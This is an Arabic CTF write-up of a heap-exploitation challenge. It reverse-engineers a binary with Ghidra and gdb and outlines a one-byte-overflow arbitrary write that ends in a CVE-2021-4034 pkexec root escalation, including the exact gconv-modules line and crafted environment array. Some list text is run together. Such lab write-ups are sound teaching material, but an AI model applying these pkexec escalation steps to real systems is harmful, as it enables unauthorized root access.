
# كتابة تحليل لتحدي CTF من نوع pwn يستغل CVE-2021-4034 (pkexec) عبر التلاعب بالكومة، مع هندسة عكسية قائمة على Ghidra وملف مساعد ثنائي مخصص باسم shelly.so.
هذا تحدٍّ من نوع CTF pwn كتبته بلغة C ويتطلب من المستخدم استغلال ثغرة CVE-2021-4034. يحصل اللاعبون على ملفين ثنائيين في مجلد challenge في هذا المستودع. الملف الثنائي chal ينفّذ تحدّي CTF، وshelly.so ملف ثنائي مساعد.
في وقت كتابة هذه المقالة، لا يزال ملف Dockerfile غير مكتمل. ملف Dockerfile مطلوب لنشر هذا التحدي أثناء CTF مباشر، لكن ليس محليًا: لا يزال بإمكانك محاكاة هذا التحدي محليًا عن طريق إعداد صلاحيات المستخدم وتثبيت الحزم المعرّضة للثغرة كما يلي:
libpolkit-gobject-1-0=0.105-26ubuntu1 libpolkit-agent-1-0=0.105-26ubuntu1 policykit-1=0.105-26ubuntu1.flag.txt مملوكًا للمستخدم root:root في الدليل الحالي.challenge إلى الدليل الحالي.chal كمستخدم بصلاحيات محدودة.تشغيل الملف الثنائي chal يعطينا فكرة مبهمة عما يفعله هذا الملف الثنائي:```
WELCOME TO THE HUB CTRL+ALT+DELICIOUS
We're not just a sandwich hub. We are the beacon of flavors, serving a symphony in every byte
التلاعب بحجم الإدخال في دالة `Add` ومؤشرات دوال `Cancel` لا يعطينا أي شيء مميز (لا تجاوز سعة المخزن المؤقت ولا خطأ تجزئة). ومع ذلك، هناك بعض الأشياء المثيرة للاهتمام:
- يبدو أن الطلبات تُوضع في قائمة (ربما قائمة مرتبطة) وأنها ذات فهرسة تبدأ من الصفر؟
- يوجد هذا `Order number: 0x7ffde93681f0` والذي يبدو أنه يطبع موقعًا ما على المكدس؟
- أيضًا، يقوم البرنامج بإنشاء مجلد باسمنا الذي أدخلناه مع 3 ملفات تنفيذية، أحدها هو الملف الثنائي المساعد الذي حصلنا عليه:```sh
peasant@Tin-VM:~/Desktop$ ls
chal chal.c Dockerfile shelly.so solve.py tin
peasant@Tin-VM:~/Desktop$ ls -l tin/
total 28
-rwxrwx--- 1 peasant vboxsf 5 Feb 4 14:33 notes
-rwxrwx--- 1 peasant vboxsf 20 Feb 4 14:33 recipe
-rwxr-x--- 1 peasant vboxsf 16488 Feb 4 14:33 shelly.so
peasant@Tin-VM:~/Desktop$ cat tin/notes
0000
peasant@Tin-VM:~/Desktop$ cat tin/recipe
aaaa
bbbb
cccc
dddc
تحتوي الملفات التنفيذية على مدخلاتنا.
يمكنك العبث بالوظائف الأخرى وتأمل أن تصادف بعض الأخطاء (وهو أمر محتمل)، لكنني سأختصر الأمور وأفتح البرنامج في Ghidra.
بمقارنة السلاسل النصية التي تظهر أثناء تشغيل البرنامج مع السلاسل النصية الموجودة في Ghidra، يمكننا إعادة تسمية بعض دوال FUN_* إلى أسماء مألوفة:```C
undefined8 main(void)
{ int iVar1; size_t sVar2; undefined2 *puVar3; long in_FS_OFFSET; int opt; int local_1c; char *local_18; long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28); local_18 = "/recipe"; print("WELCOME TO THE HUB CTRL+ALT+DELICIOUS\n"); print( "We're not just a sandwich hub. We are the beacon of flavors, serving a symphony in every by te\n\n" ); while( true ) { print("1. ENTER THE HUB\n"); print("2. QUIT\n"); __isoc99_scanf(&DAT_001030c5,&opt); getc(stdin); if (opt != 1) break; printf("Order number: %p\n",&local_18); print("Enter your name: "); __isoc99_scanf(&DAT_0010334f,&DAT_00105120); sVar2 = strlen(&DAT_00105120); puVar3 = (undefined2 *)malloc(sVar2 + 2); DAT_00105100 = puVar3; *puVar3 = 0x2f2e; *(undefined *)(puVar3 + 1) = 0; strcpy((char *)(DAT_00105100 + 1),&DAT_00105120); iVar1 = FUN_001022f0(DAT_00105100,&DAT_00105060); if (iVar1 == -1) { mkdir((char *)DAT_00105100,0x1c0); } DAT_00105140 = 0; order_cnt = 0; for (local_1c = 0; local_1c < 10; local_1c = local_1c + 1) { *(undefined8 *)(&ptr_array + (long)local_1c * 8) = 0; } main_menu(); } print("Come again :)\n");
The `printf("Order number: %p\n",&local_18);` **يطبع موقع متغير محلي على المكدس.**
يُظهر فحص سريع في gdb أن العنوان المُسرَّب هو عنوان المؤشر إلى السلسلة الثابتة `/recipe`:```gdb
...
Order number: 0x7fffffffdfc0
...
gef➤ x/gx 0x7fffffffdfc0
0x7fffffffdfc0: 0x0000555555559020
gef➤ x/s 0x0000555555559020
0x555555559020: "/recipe"
نرى استدعاء mkdir، والذي ينشئ مجلدًا باسم مدخلاتنا في الدليل الحالي.
هذه متوافقة مع ملاحظتنا عندما قمنا بتشغيل البرنامج. ثم يقوم بتهيئة بعض المتغيرات قبل استدعاء دالة main_menu، والتي تبدو كالتالي:```C
while( true ) {
while( true ) {
while( true ) {
while( true ) {
while( true ) {
while( true ) {
print("1. ADD NEW ORDER\n");
print("2. EDIT ORDER\n");
print("3. SHOW ORDER\n");
print("4. CANCEL ORDER\n");
print("5. CHECKOUT\n");
print("6. DONE\n");
__isoc99_scanf(&DAT_001030c5,&local_40);
getc(stdin);
if (local_40 != 1) break;
add_order();
}
if (local_40 != 2) break;
edit_order();
}
if (local_40 != 3) break;
show_order();
}
if (local_40 != 4) break;
cancel_order();
}
if (local_40 != 5) break;
checkout();
}
if (local_40 == 6) break;
if (local_40 == 0x539) {
print(
"\nGORDON RAMSAY: Finally, a worthy opponent, our battle will be legendary! I BET YOU CAN 'T GUESS THE SECRET RECIPE.\n"
);
fgets(inp,0x20,stdin);
getrandom(random-bytes,0x10,0);
for (local_3c = 0; local_3c < 0x10; local_3c = local_3c + 1) {
if (inp[local_3c] != random-bytes[local_3c]) {
print("...Nuh Uh!...\n");
/* WARNING: Subroutine does not return */
exit(0);
}
print("...Ooh Yes.. sCruMpTioUs...");
}
print("Fine... I'll give you a taste.\n");
FUN_00101504();
}
إذا لم تكن معتادًا على REV، فهذا هو التفكيك (decompilation) لتعليمة `switch` في لغة C. يوجد خيار مثير للاهتمام يُعرف بـ `0x539`. يتيح للاعبين تخمين `0x10` بايتات عشوائية. إذا كانت جميع البايتات متساوية، فإنه يستدعي `FUN_00101504();` الذي يستدعي `system("cat flag.txt");`. وإلا، يخرج البرنامج.
ومع ذلك، فإن تخمين 16 بايتًا عشوائيًا بالقوة العمياء يعادل تجربة كل الاحتمالات البالغة 256**16 = 340282366920938463463374607431768211456 احتمالًا. حظًا موفقًا مع هذا ههه.
حتى لو تجاوزت كل الاحتمالات، فإن البرنامج لا يزال غير ممنوح صلاحيات (unprivileged)، لذا لا يمكنه قراءة العلم. عبارة `cat flag.txt` هذه مقصودة، ليس فقط لخداع اللاعبين عديمي الخبرة لاختيار خيار القائمة `0x539` هذا، ولكن أيضًا لمنع اللاعبين من مجرد استدعاء هذه الدالة لقراءة العلم، وهو ما سنتعمق فيه لاحقًا.
***
## إضافة```C
int iVar1;
undefined8 *puVar2;
void *pvVar3;
undefined8 *ptr2;
if (order_cnt < 10) {
puVar2 = (undefined8 *)malloc(0x30);
print("Pick your bread: ");
readline(puVar2 + 1,8);
print("Select your spread: ");
readline(puVar2 + 2,8);
print("Choose your veg: ");
readline(puVar2 + 3,8);
print("Slam your meat & egg: ");
readline(puVar2 + 4,9);
iVar1 = order_cnt;
pvVar3 = malloc(0x30);
*(void **)(&ptr_array + (long)iVar1 * 8) = pvVar3;
*puVar2 = *(undefined8 *)(&ptr_array + (long)order_cnt * 8);
print("Any side notes for the cook? ");
readline(*puVar2,0x30);
puVar2[5] = 0;
if (DAT_00105140 != (undefined8 *)0x0) {
for (ptr2 = DAT_00105140; ptr2[5] != 0; ptr2 = (undefined8 *)ptr2[5]) {
}
ptr2[5] = puVar2;
puVar2 = DAT_00105140;
}
DAT_00105140 = puVar2;
order_cnt = order_cnt + 1;
}
...
إذا كانت بعض المتغيرات لا تبدو سهلة القراءة بهذا الشكل بالنسبة لك، فذلك لأنني أخذت بعض الوقت لإعادة تسميتها إلى هذه الأسماء، وهو ما يجب عليك فعله أثناء الهندسة العكسية لتتبّع الأمور. حسنًا، لننتقل إلى النقاط الرئيسية:
puVar2 هو قطعة malloc بحجم 0x30.puVar3، طوله 8 بايت ويشير إلى notes الخاصة بالقطعة الحالية.puVar2[5] = 0; يكتب فوق تجاوز البايت الواحد بقيمة NULL على أي حال.DAT_00105140 == 0، فإننا نضبطه فقط على القطعة الجديدة، لذا قد يكون هذا مؤشر head للقائمة؟... print("Enter order index: "); __isoc99_scanf(&DAT_001030c5,&local_20); getc(stdin); if ((local_20 < 0) || (order_cnt <= local_20)) { print("Invalid index!\n"); } else { local_18 = head; for (local_1c = 0; local_1c != local_20; local_1c = local_1c + 1) { local_18 = (undefined8 *)local_18[5]; } print("Pick your bread: "); readline(local_18 + 1,8); print("Select your spread: "); readline(local_18 + 2,8); print("Choose your veg: "); readline(local_18 + 3,8);WE print("Slam your meat & egg: "); readline(local_18 + 4,9); print("Any side notes for the cook? "); readline(*local_18,0x30); } ...
هناك تحقق من فهرس الإدخال الخاص بنا، لذا لا يمكننا تعديل مواقع عشوائية.
**ومع ذلك، فإن القراءة التي تبلغ 9 بايت في الحقل الرابع والتي تتجاوز بايتًا واحدًا إلى الحقل الخامس ما زالت موجودة!!! يمكننا الكتابة فوق بايت واحد في مؤشر `nxt`**
***```C
...
if (local_18 != (undefined8 *)0x0) {
printf("%s, %s, %s, %s, %s\n",local_18 + 1,local_18 + 2,local_18 + 3,local_18 + 4,*local_18);
}
...
%s سيطبع حتى حرف الـ NULL، لذا إذا كان الحقل الرابع لدينا بطول 8 بايت، فإن %s الرابع سيطبع الحقل الرابع من القطعة (chunk) الخاصة بنا + قيمة مؤشر nxt في الحقل الخامس.
=> نحصل على تسريب heap!!!
لا شيء مثير للاهتمام هنا.
strcpy(local_d8,dir_name); sVar2 = strlen(dir_name); strcpy(local_d8 + sVar2,"/recipe"); creat(local_d8,0x1c0); iVar1 = open(local_d8,2); if (iVar1 == -1) { print("Error opening file f.\n"); /* WARNING: Subroutine does not return / exit(0); } chmod(local_d8,0x1f8); strcpy(local_98,dir_name); sVar2 = strlen(dir_name); strcpy(local_98 + sVar2,"/notes"); printf("%s %s\n","/notes",local_98); creat(local_98,0x1c0); __fd = open(local_98,2); if (__fd == -1) { print("Error opening file f_notes.\n"); / WARNING: Subroutine does not return */ exit(0); } chmod(local_98,0x1f8);
إذن يقوم بإنشاء الملفين `recipe` و `notes` في المجلد الذي يحمل اسم الإدخال الخاص بنا. عبارات `chmod` تضع هذه الملفات في وضع التنفيذ: `0x1f8` و `0x1c0` هما `0700` و `0770` في الأساس الثماني على التوالي.```C
...
for (local_ec = 0; (local_e0 != (char **)0x0 && (local_ec < order_cnt)); local_ec = local_ec + 1)
{
sVar2 = strlen((char *)(local_e0 + 1));
write(iVar1,local_e0 + 1,sVar2);
write(iVar1,&DAT_00103127,1);
sVar2 = strlen((char *)(local_e0 + 2));
write(iVar1,local_e0 + 2,sVar2);
write(iVar1,&DAT_00103127,1);
sVar2 = strlen((char *)(local_e0 + 3));
write(iVar1,local_e0 + 3,sVar2);
write(iVar1,&DAT_00103127,1);
sVar2 = strlen((char *)(local_e0 + 1));
write(iVar1,local_e0 + 4,sVar2);
write(iVar1,&DAT_00103127,1);
sVar2 = strlen(*local_e0);
write(__fd,*local_e0,sVar2);
write(__fd,&DAT_00103127,1);
local_e0 = (char **)local_e0[5];
}
iVar1 = close(iVar1);
if (-1 < iVar1) {
iVar1 = close(__fd);
if (-1 < iVar1) {
local_58 = 0x2f706d742f207063;
local_50 = 0x732e796c6c656873;
local_48 = 0x206f;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
strcpy((char *)((long)&local_48 + 2),dir_name);
system((char *)&local_58);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
}
...
هذه الكتلة الضخمة الفوضوية من الكود تكتب بشكل أساسي المحتوى الموجود في قطعنا إلى هذه الملفات، ثم تنفذ الأمر cp /tmp/shelly.so dir_name، حيث dir_name هو الاسم الذي نعطيه للبرنامج في البداية.
void FUN_00101e84(void)
{ long in_FS_OFFSET; char *local_18; long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("HOLD UP, LET HIM COOK."); local_18 = (char *)0x0; execve("/usr/bin/pkexec",&local_18,(char **)&ptr_array); if (local_10 != *(long )(in_FS_OFFSET + 0x28)) { / WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
هذه دالة مثيرة للاهتمام. إنها تستدعي `pkexec` مع `NULL argv` ومؤشر مصفوفة `notes` كمتغيرات بيئة، وهو الأمر القابل للاستغلال في CVE-2021-4034. هل يشير هذا إلى أنه علينا صياغة `notes` الخاصة بنا وإعادة توجيه التنفيذ إلى هذه الدالة بطريقة ما؟
***
## shelly.so
فتح هذا الملف في Ghidra سيُخبرنا أنه من الواضح مكتبة `set-UID-root`، وهي مشابهة لتلك المستخدمة في استغلال CVE.
***
# الملخص
بعض النقاط الرئيسية:
1. لدينا تسريب للمكدس (رقم الطلب) في بداية البرنامج، والذي يحمل عنوان السلسلة الثابتة `/recipe` المستخدمة في إنشاء ملف `recipe`.
2. الحقل 0 من الكتلة (chunk) هو مؤشر `notes` الخاص بها.
3. الحقل الخامس من الكتلة هو مؤشر `nxt` إلى الكتلة التالية في القائمة المرتبطة.
4. يمكن لـ `Show` تسريب عنوان كومة (heap address) وهو الحقل الخامس في الكتلة.
5. يمكن لـ `Edit` الكتابة فوق 1 بايت في الحقل الخامس. **هذه هي ثغرة الكتابة التعسفية الوحيدة!!**
6. `FUN_00101e84` تستدعي `pkexec` مع `NULL argv` ومتغيرات البيئة التي نتحكم فيها (مصفوفة `notes`).
***
# الاستغلال
## تخطيط كتلة الكومة
يمكن أن يخبرنا فحص سريع في gdb بالفارق (offset) بين الكتل المختلفة في برنامجنا:```gdb
...
Pick your bread: aaaa
Select your spread: a
Choose your veg: a
Slam your meat & egg: a
Any side notes for the cook? 0000
1. ADD NEW ORDER
2. EDIT ORDER
3. SHOW ORDER
4. CANCEL ORDER
5. CHECKOUT
6. DONE
1
Pick your bread: bbbb
Select your spread: b
Choose your veg: b
Slam your meat & egg: b
Any side notes for the cook? 1111
...
gef➤ search-pattern aaaa
[+] Searching 'aaaa' in memory
[+] In '[heap]'(0x55555555a000-0x55555557b000), permission=rw-
0x55555555aae8 - 0x55555555aaec → "aaaa"
gef➤ x/30gx 0x55555555aae8-0x18
0x55555555aad0: 0x0000000000000000 0x0000000000000041
0x55555555aae0: 0x000055555555ab20 0x0000000061616161
0x55555555aaf0: 0x0000000000000061 0x0000000000000061
0x55555555ab00: 0x0000000000000061 0x000055555555ab60
0x55555555ab10: 0x0000000000000000 0x0000000000000041
0x55555555ab20: 0x0000000030303030 0x0000000000000000
0x55555555ab30: 0x0000000000000000 0x0000000000000000
0x55555555ab40: 0x0000000000000000 0x0000000000000000
0x55555555ab50: 0x0000000000000000 0x0000000000000041
0x55555555ab60: 0x000055555555aba0 0x0000000062626262
0x55555555ab70: 0x0000000000000062 0x0000000000000062
0x55555555ab80: 0x0000000000000062 0x0000000000000000
0x55555555ab90: 0x0000000000000000 0x0000000000000041
0x55555555aba0: 0x0000000031313131 0x0000000000000000
0x55555555abb0: 0x0000000000000000 0x0000000000000000
إذن حجم الكتل هو 0x40 (بما في ذلك 0x10 بايت من البيانات الوصفية)، وهي مفصولة (من بداية الكتلة الحالية إلى بداية الكتلة التالية) بإزاحة مقدارها 0x40+0x40 = 0x80. وذلك لأن notes تُخصَّص كلما خصصنا كتلة، لذا فهي تقع دائمًا بين الكتل المتتالية.
قبل أن ننتقل إلى الاستغلال، كيف يمكننا إساءة استخدام ثغرات تجاوز السعة ذات البايت الواحد للكتابة إلى عنوان عشوائي؟ يمكننا استخدام الاستراتيجية التالية:
nxt للكتلة الثانية (النقطة الثانية في قسم الملخص).
C.B = C-0x80.B هو x.x + 8 عبر تجاوز السعة إلى الحقل الخامس من الكتلة الحالية. سيكون مؤشر nxt الناتج هو B + 8.
A = 0x55555555aae0، فإن العنوان المسرَّب سيكون B = 0x55555555ab60 وx = 0xe8.A عند 0x55555555ab08 بالقيمة x، فإن مؤشر nxt الناتج سيكون 0x55555555**ab**e8 != 0x55555555**aa**e8، وهذا ليس ما أردناه.B + 8 بدلاً من C. عدّل الكتلة B بحيث يحتوي حقلها الأول (bread) على العنوان target الذي نريد الكتابة إليه.B + 8. مؤشر notes في هذه الكتلة الثالثة هو target! لذا أي شيء نكتبه إلى notes سيُكتب إلى target!هناك طريقة للقفز إلى هذه الدالة، لن أناقشها. لكن قبل أن تجرب هذا، ألقِ نظرة على Dockerfile. هل تلاحظ أي شيء بخصوص flag.txt؟```
...
chown root:root /home/ctf/flag.txt
...
USER peasant
CMD ["/home/ctf/start.sh"]
***إنه مملوك من root، بينما البرنامج يُشغَّل ويكون مملوكًا من مستخدم غير مميّز***.
لذا حتى لو نفّذت "cat flag.txt"، فلن تتم طباعة العلم لأن البرنامج لا يملك صلاحية الوصول إلى الملف. وهذا يعني أننا بحاجة إلى تصعيد الصلاحيات إلى root لنتمكن من قراءة العلم.
## الطريقة الثانية - CVE-2021-4034
لاستغلال CVE-2021-4034، نحتاج إلى الإعداد التالي:
1. مجلد باسم `GCONV_PATH=.`
2. في هذا المجلد، نحتاج إلى ملف قابل للتنفيذ يحمل اسم المجلد الذي سيحتوي ملف الإعداد `gconv-modules`. ليكن هذا `recipe` في تحدّينا.
3. في مجلد `recipe`، نحتاج إلى ملف باسم `gconv-modules` بمحتوى نتحكم فيه، ومكتبة ديناميكية تمنحنا شل (ربما تكون هذه هي الثنائية المعطاة `shelly.so`)?
4. بعد ذلك، في ملف `gconv-modules` الخاص بنا، نحتاج إلى نفس `CHARSET` كما في الخطوة 5 أدناه، واسم مكتبتنا الديناميكية `shelly.so` على هذا النحو: `module UTF-8// SHELLY// shelly 2`.
5. بعد كل هذا، نستدعي `pkexec` مع `argv` بقيمة NULL ومصفوفة متغيرات البيئة المصنوعة = `{"recipe", "PATH=GCONV_PATH=.", "CHARSET=SHELLY", "SHELL=shelly", NULL}`.
الآن، نستغل هذا التحدي للحصول على الإعداد أعلاه.
***
### الهدف 1-2
الخطوتان 1-2 سهلتان: يكفي أن نسجّل الدخول باسم مستخدم `GCONV_PATH=.` لإنشاء هذا المجلد. ثم ننفّذ `checkout` لإنشاء الملف القابل للتنفيذ `recipe` في هذا المجلد. ثم نعود إلى القائمة الأولى.
***
### الهدف 3-4
نسجّل الدخول باسم المستخدم `recipe` لإنشاء هذا المجلد. الآن، نحن *نحتاج* إلى إنشاء ملف باسم `gconv-modules`، لكن `checkout` ينشئ فقط الملفين `recipe` و`notes`.
ماذا لو استبدلنا موقع الذاكرة الخاص بالسلسلة `/notes` لتصبح `/gconv-modules`؟ قد ينجح هذا، لكنه يتطلب أن تكون تلك الذاكرة قابلة للكتابة. لنتحقق من ذلك في gdb:```gdb
gef➤ search-pattern /notes
[+] Searching '/notes' in memory
[+] In '/home/peasant/Desktop/chal'(0x555555559000-0x55555555a000), permission=rw-
0x555555559010 - 0x555555559016 → "/notes"
وهو قابل للكتابة!
كيف ننفذ عملية الكتابة؟
/recipe./recipe إلى /notes هي 0x10. اطرح هذا من عنوان /recipe في الخطوة 1 لتحصل على عنوان /notes./notes بـ /gconv-modules.أما بخصوص كتابة المحتوى الصحيح إلى ملف gconv-modules، فنحن نعلم أنه عند checkout، سيتم كتابة محتوى notes الخاص بالقطع إلى /notes، وهو الآن /gconv-modules. وللتأكد، يمكننا ببساطة توفير السلسلة module UTF-8// SHELLY// shelly 2 لكل notes.
إذن الآن، كلما استدعينا checkout، سينشئ ملفين recipe وgconv-modules ويكتب بعض الأسطر module UTF-8// SHELLY// shelly 2 (نستخدم shelly لأن هذا هو اسم مكتبة .so ذات صلاحيات set-uid-root المعطاة) إلى ملف gconv-modules. وسيقوم أيضًا بنسخ shelly.so إلى نفس الدليل.
notes الخاصة بها هي متغيرات البيئة المناظرة. ستحتوي مصفوفة مؤشرات notes على 4 مؤشرات لهذه الـ 4 قِطع ومؤشر NULL في النهاية، وهو بالضبط ما أردناه.RIP الخاص بالدالة main بالدالة السرية FUN_00101e84.
RIP؟ هل تتذكر عنوان المكدس المتسرب في بداية البرنامج؟ ادخل إلى gdb لمعرفة إزاحته إلى RIP، ثم أضف تلك الإزاحة إلى عنوان المكدس المتسرب الفعلي لتحصل على RIP.main؟ هل تتذكر عنوان /recipe المتسرب من الخطوة 2 من الهدف 3-4؟ افعل الشيء نفسه هنا!نص الحل مع التعليقات متوفر في هذا المستودع. لا تتردد في التواصل معي إذا كان لديك أي أسئلة :)